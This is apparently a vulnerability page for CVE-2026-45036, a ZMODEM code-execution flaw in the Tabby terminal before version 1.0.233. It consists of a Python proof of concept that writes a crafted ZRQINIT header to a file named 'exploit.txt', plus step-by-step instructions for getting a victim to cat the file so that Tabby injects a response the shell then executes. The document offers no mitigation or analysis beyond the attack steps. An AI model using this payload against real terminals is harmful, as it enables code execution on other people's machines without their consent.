CVE-2026-45036 Tabby终端ZMODEM代码执行漏洞

# PoC: Generate a file to trigger ZMODEM detection in Tabby < 1.0.233 # This file simulates the ZRQINIT header. # When a user runs 'cat' on this file in a vulnerable Tabby terminal, # Tabby will inject a response back into the shell. payload = b"**\x18B00000000000000\r\n\x11" with open("exploit.txt", "wb") as f: f.write(payload) print("File 'exploit.txt' created.") print("To simulate the attack chain (requires specific shell setup):") print("1. Place this file in a directory.") print("2. In a vulnerable Tabby terminal, run: cat exploit.txt") print("3. Close/Exit the cat command.") print("4. The injected response from Tabby is executed by the shell.")